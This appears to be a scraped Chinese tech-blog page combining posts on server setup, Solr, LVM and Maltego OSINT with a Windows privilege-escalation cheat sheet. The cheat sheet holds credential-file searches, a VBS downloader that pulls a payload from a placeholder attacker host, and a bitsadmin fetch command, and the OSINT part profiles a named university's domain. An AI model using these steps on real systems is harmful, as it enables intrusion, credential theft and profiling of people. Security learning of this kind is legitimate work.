原文链接
|
|
0. 关于这份文档
|
|
1. 安全基线
|
|
1.1 安全修复更新
|
|
|
|
1.2 密码策略
|
|
1.2.1 业务分离
|
|
1.3 SSH安全配置
|
|
1.4 auditd审计框架
|
|
1.4.1 针对文件的审计
|
|
1.4.2 Prevent UNSET bash history
|
|
1.5 sudoers
|
|
网络抗DOS相关:
|
|
|
|
Apparmor
|
|
3.2 PHP加固
|
|
DevOps|Python|Linux
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
最近在处理数据,有一批数据是在MSSQL中的,打算导出整理后扔到MongoDB中
网上找了下 Python有个叫pyodbc的库,自己本地在Mac上跑起来没啥问题,
不过将脚本迁移到Server上run的时候遇到了些问题,所以记录下
直接安装微软官方的安装教程,就能跑起来
|
|
服务器用的是CentOS
需要先安装gcc和python-devel
|
|
然后再安装微软的这个教程来,就能跑起来了,
我的是CentOS 7,所以安装步骤为
|
|
而且我用的是zsh,所以后将相关环境变量放到zshrc就好了
|
|
Debian Linux
|
|
我是把证书相关信息放在
/etc/nginx/ssl/文件夹中所以先创建该文件夹
|
|
创建SSL证书
gencert.sh
该文件我也放在/etc/nginx/ssl目录下
|
|
操作方法如下图
说明 https://www.trustasia.com/help/nginx-generate-csr.htm
效果图
BASIC WINDOWS PRIVILEGE ESCALATION
https://thel3l.me/blog/winprivesc/index.html
由于原文有些命令在中文Windows下无效,所以另外整理了下
|
|
如果是64位系统则返回”AMD64”否则返回”X86”
12 C:\>echo %PROCESSOR_ARCHITECTURE%AMD64
|
|
NET USER
NET USER USERNAME
1234567891011121314151617181920212223242526 C:\>net user Administrator用户名 Administrator全名注释 管理计算机(域)的内置帐户用户的注释国家/地区代码 000 (系统默认值)帐户启用 No帐户到期 从不上次设置密码 2016/9/18 10:40:15密码到期 从不密码可更改 2016/9/18 10:40:15需要密码 Yes用户可以更改密码 Yes允许的工作站 All登录脚本用户配置文件主目录上次登录 从不可允许的登录小时数 All本地组成员 *Administrators *Ssh Users全局组成员 *None命令成功完成。
IPCONFIG /ALL
route print
arp -A
查看端口占用情况
netstat -ano
防火墙配置
netsh firewall show config
123456789101112131415161718192021 C:\>netsh firewall show config域 配置文件配置:-------------------------------------------------------------------操作模式 = 启用例外模式 = 启用多播/广播响应模式 = 启用通知模式 = 启用域 配置文件的允许的程序配置:模式 流量方向 名称/程序-------------------------------------------------------------------域 配置文件的端口配置:端口 协议 流量方向 名称-------------------------------------------------------------------域 配置文件的 ICMP 配置:模式 类型 描述-------------------------------------------------------------------启用 2 允许出站数据包太大防火墙状态
netsh firewall show state
123456789101112131415161718192021222324 C:\>netsh firewall show state防火墙状态:-------------------------------------------------------------------配置文件 = 标准操作模式 = 禁用例外模式 = 启用多播/广播响应模式 = 启用通知模式 = 启用组策略版本 = Windows 防火墙远程管理模式 = 禁用所有网络接口上的端口当前均为打开状态:端口 协议 版本 程序-------------------------------------------------------------------当前没有在所有网络接口上打开的端口。重要信息: 已成功执行命令。但不赞成使用 "netsh firewall";而应该使用 "netsh advfirewall firewall"。有关使用 "netsh advfirewall firewall" 命令而非 "netsh firewall" 的详细信息,请参阅http://go.microsoft.com/fwlink/?linkid=121488上的 KB 文章 947709。
schtasks /QUERY /fo LIST /v
以list的形式输入详细信息
12345678910111213141516171819202122232425262728 主机名: VVV任务名: \Microsoft\XblGameSave\XblGameSaveTaskLogon下次运行时间: N/A模式: 就绪登录状态: 交互方式/后台方式上次运行时间: 2016/9/17 21:05:59上次结果: 0创建者: Microsoft要运行的任务: %windir%\System32\XblGameSaveTask.exe logon起始于: N/A注释: XblGameSave Logon Task计划任务状态: 已启用空闲时间: 仅在空闲 分钟后启动, 如果没空闲,重试 分钟 如果空闲结束,停止任务电源管理: 不用电池启动作为用户运行: SYSTEM删除没有计划的任务: 已禁用如果运行了 X 小时 X 分钟,停止任务: 02:00:00计划: 计划数据在此格式中不可用。计划类型: 登陆时开始时间: N/A开始日期: N/A结束日期: N/A天: N/A月: N/A重复: 每: N/A重复: 截止: 时间: N/A重复: 截止: 持续时间: N/A重复: 如果还在运行,停止: N/A
tasklist /SVC
DRIVERQUERY
123456789101112 C:\>DRIVERQUERY模块名 显示名称 驱动程序类型 链接日期============ ====================== ============= ======================1394ohci 1394 OHCI Compliant Ho Kernel 2016/7/16 10:21:363ware 3ware Kernel 2015/5/19 6:28:03ACPI Microsoft ACPI Driver Kernel 2016/7/16 10:10:47AcpiDev ACPI 设备驱动程序 Kernel 2016/7/16 10:29:10acpiex Microsoft ACPIEx Drive Kernel 2016/7/16 10:28:23acpipagr ACPI 处理器聚合器驱动 Kernel 2016/7/16 10:29:00AcpiPmi ACPI 电源表驱动程序 Kernel 2016/7/16 10:19:44acpitime ACPI 唤醒警报驱动程序 Kernel 2016/7/16 10:29:20
查看已安装程序相关信息(包括程序名、供应商、版本、识别号等)
Caption、Identifying Number 、Name、Vendor、Version
比如我安装的XShell相关信息如下
12345 Xshell 5{F3FDFD5A-A201-407B-887F-399484764ECA}Xshell 5NetSarang Computer, Inc.5.0.0983按照类似的方法还可以获取 服务、进程、和启动项相关信息
123456 # Lists serviceswmic service list brief# Lists processeswmic process list brief# Lists startup itemswmic startup list brief查看是否有可作为非特权用户执行的msi文件
如果没有则会返回”错误: 系统找不到指定的注册表项或值。”
|
|
查看setuid或setgid是否被修改过
只存在于Windows Servers中
1 reg query HKEY_Local_Machine\System\CurrentControlSet\Services\NfsSvr\Parameters\SafeSetUidGidBits查看系统更新记录
wmic qfe get Caption,Description,HotFixID,InstalledOn
12345 C:\Windows\system32>wmic qfe get Caption,Description,HotFixID,InstalledOnCaption Description HotFixID InstalledOnhttp://support.microsoft.com/?kbid=3176936 Update KB3176936 8/26/2016http://support.microsoft.com/?kbid=3188128 Security Update KB3188128 9/16/2016http://support.microsoft.com/?kbid=3189866 Security Update KB3189866 9/16/2016
|
|
##敏感数据和目录
搜索未加密的密码或其它敏感信息
123456789 #进入系统盘根目录cd/#返回该分区所有名为password.txt的文件的路径dir /b/s password.txt#返回该分区所有以config开头的文件的路径dir /b/s config.*#在特定格式的文件中搜索特定信息,比如findstr /si password *.xml *.ini *.txtfindstr /si login *.xml *.ini *.txt在一些大型企业中,系统可能是通过脚本自动安装的,一些文件中可能存在包含base64编码的日志,这些文件一般位于如下路径
1234 C:\sysprep.infC:\sysprep\sysprep.xmlC:\Windows\Panther\Unattend\Unattended.xmlC:\Windows\Panther\Unattended.xml
##文件系统
了解有什么样的访问权限、可访问目录等
###使用其他语言绕过一些限制
以Python为例(如果目标机器安装了Python)
1234567891011 C:\>pythonPython 2.7.12 (v2.7.12:d33e0cf91556, Jun 27 2016, 15:24:40) [MSC v.1500 64 bit (AMD64)] on win32Type "help", "copyright", "credits" or "license" for more information.>>> import os; os.system("cmd /c net user")\\VV 的用户帐户-------------------------------------------------------------------------------Administrator DefaultAccount defaultuser0Guest Junhu命令成功完成。使用VBS脚本
|
|
###或者通过打开一个ftp来执行相关命令
###检查可写文件
##使用脚本
###使用VB脚本下载相应东西到目标主机
来自 Igor
1234567891011121314151617181920212223242526272829 ' downloadfile.vbs' Set your settingsstrFileURL = "http://{YOUR_IP}/{FILE_NAME.EXT}"strHDLocation = "c:\\{FILE_NAME.EXT}"' Fetch the fileSet objXMLHTTP = CreateObject("MSXML2.XMLHTTP")objXMLHTTP.open "GET", strFileURL, falseobjXMLHTTP.send()If objXMLHTTP.Status = 200 ThenSet objADOStream = CreateObject("ADODB.Stream")objADOStream.OpenobjADOStream.Type = 1 'adTypeBinaryobjADOStream.Write objXMLHTTP.ResponseBodyobjADOStream.Position = 0 'Set the stream position to the startSet objFSO = Createobject("Scripting.FileSystemObject")If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocationSet objFSO = NothingobjADOStream.SaveToFile strHDLocationobjADOStream.CloseSet objADOStream = NothingEnd ifSet objXMLHTTP = Nothing运行下载脚本
1 cscript.exe downloadfile.vbs
####bitsadmin
或者如果你知道目标主机为Windows 7 以上的操作系统,则可使用bitsadmin实现下载
目标url:http://static.myhack58.com/img/logo.jpg
保存地址:D:\logo.jpg
1 bitsadmin /rawreturn /transfer getfile http://static.myhack58.com/img/logo.jpg D:\logo.jpgExploits and shellcode
http://www.exploit-db.com
http://1337day.com
http://0day.today
http://www.securityfocus.com
http://seclists.org/fulldisclosure/
http://www.exploitsearch.net
http://www.securiteam.com
http://metasploit.com/modules/
http://securityreason.com
https://cxsecurity.com/exploit/
http://securitytracker.com/
其他优秀资源
rmusser01’s GitHub document to Post Exploitation on Windows
Tim Arneaud on Windows Privilege Escalation
An article on WMIC
Luke Jennings on Group Policy Hijacking Attacks
Toying with the Windows API
enaqx - Excellent curated collection of content
PowerShellMafia’s PowerSploit
The SysInternals suite
Windows Credential Editor
Mimikatz - Credential Extraction
GDSSecurity’s Windows Exploit Suggester
SpiderLab’s Responder - A LLMNR, NBT-NS and MDNS poisoner
PowerShellEmpire’s Empire - Pure PowerShell post-exploitation agent
rabbitstack’s fibratus - A tool for exploration and tracing of the Windows kernel
将ThinkPHP下载后,解压至网站根目录
为了快速安装PHP环境,我使用的是phpStudy
在ThinkPHP的同级目录创建index.php,文件内容为
123456 <?phpdefine('APP_DEBUG',true);define('APP_NAME', 'App');define('APP_PATH','./App/');require('./ThinkPHP/ThinkPHP.php');该文件会创建名为App的文件夹,目录结构大概这样子
1234567891011121314151617181920 .├── Common├── Conf│ ├── config.php├── Lang├── Lib│ ├── Action│ │ └── IndexAction.class.php│ ├── Behavior│ ├── Model│ └── Widget├── Runtime│ ├── Cache│ │ ├── 9885ecc411f90bec36756701bd64bb4a.php│ │ └── f331a3f0d874c4248458495ef2c2c2d1.php│ ├── Data│ ├── Logs│ │ └── 16_11_27.log│ └── Temp└── Tpl
如果要添加函数,可在Common文件夹下创建common.php文件进行实现,然后在lib/Action/IndexActionclass.php中直接通过函数名进行调用。比如
|
|
|
|
如果要添加模板的话
|
|
|
|
|
|
|
|
|
|
使用的是三个节点,分别为
192.168.64.132 node2
192.168.64.130 node1
192.168.64.131 node3在节点中分别配置主机名IP隐射关系
1 echo '192.168.64.132 node2\n192.168.64.130 node1\n192.168.64.131 node3' >> /etc/hosts && source /etc/hosts
在各节点根目录中创建 soft文件夹并将下载好的zookeeper解压至该文件夹
1 tar -zxvf zookeeper-3.5.2-alpha.tar.gz -C /soft/
|
|
以node1为例
其他节点以此类推
1 echo 1 > /soft/zookeeper-data/myid
|
|
|
|
|
|
验证是否启动成功
|
|
|
|
解压 并运行下载好的solr
1234 tar -zxvf solr-6.2.1.tgzroot@tp-ubuntu:/opt/solr-6.2.1# ./bin/solr startWaiting up to 30 seconds to see Solr running on port 8983 [-]Started Solr server on port 8983 (pid=20810). Happy searching!
效果图
|
|
上传solr自带配置文件到zookeeper的/solr/configs目录下
1 ./bin/solr zk -z localhost:2181/solr -upconfig -n solr -d example/example-DIH/solr/solr参数说明
1234 -upconfig to move a configset from the local machine to Zookeeper.-n configName Name of the configset in Zookeeper that will be the destinatino of 'upconfig' and the source for 'downconfig'.-d confdir The local directory the configuration will be uploaded from-z zkHost Zookeeper connection string.
|
|
查看zookeeper目录:
以前的schema.xml换成了managed-schema文件,具体配置文档:
https://cwiki.apache.org/confluence/display/solr/Documents%2C+Fields%2C+and+Schema+Design
|
|
|
|
1.通过浏览器访问http://192.168.64.130:8983/solr
创建集群
或者通过restful api创建collections集群
|
|
|
|
最后一条命令需要指定到具体配置目录
执行命令结束后,需要到也没reload下core
12 bash /dat0/solr/server/scripts/cloud-scripts/zkcli.sh -cmd linkconfig -zkhost localhost:9983 -collection cninfo -confname cninfoconfbash /dat0/solr/server/scripts/cloud-scripts/zkcli.sh -cmd upconfig -zkhost localhost:9983 -confname cninfoconf -confdir /dat0/solr/server/cloud/conf/
|
|
有条件的同学也可以通过下面两个连接查看更多信息
Blog
http://maltego.blogspot.com/
YouTube(有很多关于Maltego的视频)
https://www.youtube.com/user/PatervaMaltego
|
|
|
|
交互式数据挖掘工具,用于在线发现、分析位于互联网上各种来源信息之间的关系的工具。 (如DNS、Whois、还有通过各种系统API提取数据);能够整合与几乎任何数据源。
有三个版本
|
|
Community Editions 社区版
|
|
经典是商业版
|
|
Maltego 增强版
2016年7月发布
1 适用于超大规模实体枚举
可在 官网 上查询到更多详细详细
一般都需要API Key
Maltego是一款 交互式数据挖掘工具,用于在线发现、分析位于互联网上各种来源信息之间的关系的工具。 (如DNS、Whois、还可通过各种系统API提取数据);能整合与几乎任何数据源。
用于离线分析和查看数据直接的联系
下载页面
http://www.paterva.com/web7/downloads.php
下载连接(以Windows为例)
http://www.paterva.com/cf211/MaltegoCaseFileSetup.v2.1.1.8751.exe
程序截图
Maltego的社区版本
包含大部分与商业版本相同的功能,但不可用于商业用途,在返回结果时也有相应的数量限制,不支持导出结果图表
下载地址
http://www.paterva.com/malv36/community/MaltegoCESetup.v3.6.0.6640.exe
设置代理(注册需要),Paterva公司官网要使用Google的验证码,Matego产品账号登录也需要验证码,如果没有代理则无法注册和登录
|
|
|
|
|
|
如果没设置的话登录账号是这个样子
设置代理后输入用户名密码和验证码登录成功
Maltego 增强版
2016年7月发布
|
|
效果图
通过如下方式或者Ctrl+T新建Graph
在软件左侧Entity Palette侧可根据相应需求选定查询实体
如本次选择的为Domain,按住鼠标左键拖至Graph区域即可
输入实体名称
在实体区域内点击鼠标左键即可通过相应选项查询对应的信息
通过域名获取DNS名称
通过DNS获取IP
也可以通过robtex获取DNS记录
To DNS Name-interesting-[using DB]
To DNS Name[using DB]
https://www.robtex.com/q/x?q=google.com
To DNS Name[Find common DNS names]—获取常见的DNS记录如smtp、ftp、mail等
To DNS Name[via Shodan]—感觉获取的记录很少
域传送是指后备服务器从主服务器拷贝数据,并用得到的数据更新自身数据库
DomainToDNSZoneTransfer—对所有可用域名
To DNS Name [Attempt zone transfer]—对A记录和CNAME
存在域传送漏洞的部分学校域名
1234 #域传送的危害可获取目标网络的网络的拓扑结构,服务器集中的IP地址段敏感主机或服务器的域名和IP地址,比如数据库服务器,测试服务器等
Start of Authority 起始授权记录,SOA定义了域的全局参数,进行整个域的管理设置
DomainToSOAInformation
Sender Policy Framework 发送方策略框架 是为了防范垃圾邮件而提出来的一种DNS记录类型,它是一种TXT类型的记录,它用于登记某个域名拥有的用来外发邮件的所有IP地址。
DomainToSPFInformation
通过dnsdumpster 和SP Toolkit获取子域名记录
12 dnsdumpster 是安全公司Hacker Target的项目https://dnsdumpster.com/
|
|
通过Netcraft和SP Toolkit获取子域名记录
Netcraft可查看域名的历史解析记录和域名相关的一些其他信息
http://toolbar.netcraft.com/site_report?url=www.Google.com
ThreatCrowdEnrichDomain
Threatcrowd http://mail.threatcrowd.org/
一个威胁搜索引擎,能让用户搜索和调查与IP、网站或机构相关的威胁
To DNS Name-MX(mail server)
To DNS Name-NS(name server)
12 MX: 邮件交换记录 用于将以该域名为结尾的电子邮件指向对应的邮件服务器以进行处理NS:解析服务器记录 用来表明由哪台服务器对该域名进行解析
To Domain[Find other TLDs]
TLD–>Top Level Domain
比如baidu.com的
通过Google搜索引擎
To Emails @domain[using Search Engine]
通过whois
To Email address[from whois info]
通过公共PGP密钥服务器检索该域名邮件地址
To Email addresses[PGP]
To Files(interesting)[using Search Engine]
To Files(Office)[using Seing Engine]
以苏州大学(suda.edu.cn)为例
Email To Alias
在获取到别名后,又可以通过别名进行如下方式的查询
从个人资料中匹配出Facebook
[Facebook]Email to Profile
从密码找回页面中匹配出Facebook
[facebook]Get info from password recovery page
[foursquare]Search Person by Email(+facebook, twitter)
https://foursquare.com/
Foursquare是一家基于用户地理位置信息(LBS)的手机服务网站,并鼓励手机用户同他人分享自己当前所在地理位置等信息
[G+]Email To Profile
G+是一个SNS社交网站,可以通过你的Google帐户登录,在这个社交网站上你可以和不同兴趣的好友分享好玩的东西。很多程序员都有Google账户,所以你懂得~
[Github]Search by Email
[SE Google]Email to URLs
相同类型的还有
相当于在Google搜索引擎中执行了如下操作
雅虎旗下图片分享网站。为一家提供免费及付费数位照片储存、分享方案之线上服务,也提供网络社群服务的平台
https://www.flickr.com/
emailToFlickrAccount
相同的还有
emailToMyspaceAccount
MySpace 为全球用户提供了一个集交友、个人信息分享、即时通讯等多种功能于一体的互动平台
https://myspace.com/
Logical Volume Manager 逻辑卷管理
|
|
|
|
PE逻辑卷空间管理的最基本单位。1个PE默认是4M大小
VG的作用是用来装PV的–空间池
|
|
|
|
查看物理卷信息
123 ➜ ~ pvsPV VG Fmt Attr PSize PFree/dev/sdb lvm2 --- 50.00g 50.00g
|
|
|
|
这里我从lvmtest拿了20G空间来创建了一个名为lv1的逻辑卷
12 ➜ ~ lvcreate -n lv1 -L 20G lvmtestLogical volume "lv1" created
查看逻辑卷信息
1234567891011121314151617181920 ➜ ~ lvsLV VG Attr LSize Pool Origin Data% Meta% Move Log Cpy%Sync Convertlv1 lvmtest -wi-a----- 20.00g➜ ~ lvdisplay--- Logical volume ---LV Path /dev/lvmtest/lv1LV Name lv1VG Name lvmtestLV UUID Q4UIbv-yWhL-Bl5A-ywTN-1HJo-TE5r-TKBPfQLV Write Access read/writeLV Creation host, time kali, 2016-08-03 08:44:31 +0800LV Status available# open 0LV Size 20.00 GiBCurrent LE 5120Segments 1Allocation inheritRead ahead sectors auto- currently set to 256Block device 254:0
为创建好的逻辑卷创建文件系统
|
|
将格式化好的逻辑卷挂载使用
|
|
查看
12 ➜ /mnt mount | tail -n 1/dev/mapper/lvmtest-lv1 on /mnt type ext4 (rw,relatime,data=ordered)
先把相应的东西umount掉
1 ➜ ~ umount /mnt
|
|
删除LV
|
|
删除VG
|
|
删除物理卷
|
|
逻辑卷的拉伸操作可以在线执行,不需要卸载逻辑卷
|
|
扩充逻辑卷
|
|
查看扩充后LV大小
|
|
更新文件系统
|
|
查看更新后文件系统
|
|
将要添加到VG的硬盘格式化为PV
|
|
将新的PV添加到指定卷组中
|
|
查看扩充后VG大小
|
|
逻辑卷的缩小操作必须离线执行,要卸载逻辑卷
卸载一键挂载的逻辑卷
|
|
缩小文件系统
缩小为10G
1234567891011121314151617181920 ➜ ~ resize2fs /dev/vg/lv 10Gresize2fs 1.42.12 (29-Aug-2014)Please run 'e2fsck -f /dev/vg/lv' first.➜ ~ resize2fs /dev/mapper/vg-lv 10Gresize2fs 1.42.12 (29-Aug-2014)Please run 'e2fsck -f /dev/mapper/vg-lv' first.➜ ~ e2fsck -f /dev/mapper/vg-lve2fsck 1.42.12 (29-Aug-2014)Pass 1: Checking inodes, blocks, and sizesPass 2: Checking directory structurePass 3: Checking directory connectivityPass 4: Checking reference countsPass 5: Checking group summary information/dev/mapper/vg-lv: 11/1376256 files (0.0% non-contiguous), 130401/5505024 blocks➜ ~ resize2fs /dev/mapper/vg-lv 10Gresize2fs 1.42.12 (29-Aug-2014)Resizing the filesystem on /dev/mapper/vg-lv to 2621440 (4k) blocks.The filesystem on /dev/mapper/vg-lv is now 2621440 (4k) blocks long.
缩小LV
缩小的容量为之前的容量减去文件系统容量
21-10=11
123456 ➜ ~ lvreduce -L -11G /dev/vg/lvWARNING: Reducing active logical volume to 10.00 GiBTHIS MAY DESTROY YOUR DATA (filesystem etc.)Do you really want to reduce lv? [y/n]: ySize of logical volume vg/lv changed from 21.00 GiB (5376 extents) to 10.00 GiB (2560 extents).Logical volume lv successfully resized
查看缩小后的LV
|
|
挂载
|
|
将一个PV从制定卷组中移除
|
|
查看缩小后的卷组大小
|
|
移除物理卷
|
|
|
|
|
|
http://www.cnblogs.com/mchina/archive/2013/01/01/2840815.html
全能暴力破解测试工具——Patator v0.5
https://github.com/lanjelot/patator
|
|
|
|
|
|
全能暴力破解测试工具——Patator v0.5
https://github.com/lanjelot/patator
tag:
缺失模块。
1、在博客根目录(注意不是yilia根目录)执行以下命令:
npm i hexo-generator-json-content --save
2、在根目录_config.yml里添加配置:
jsonContent: meta: false pages: false posts: title: true date: true path: true text: true raw: false content: false slug: false updated: false comments: false link: false permalink: false excerpt: false categories: false tags: true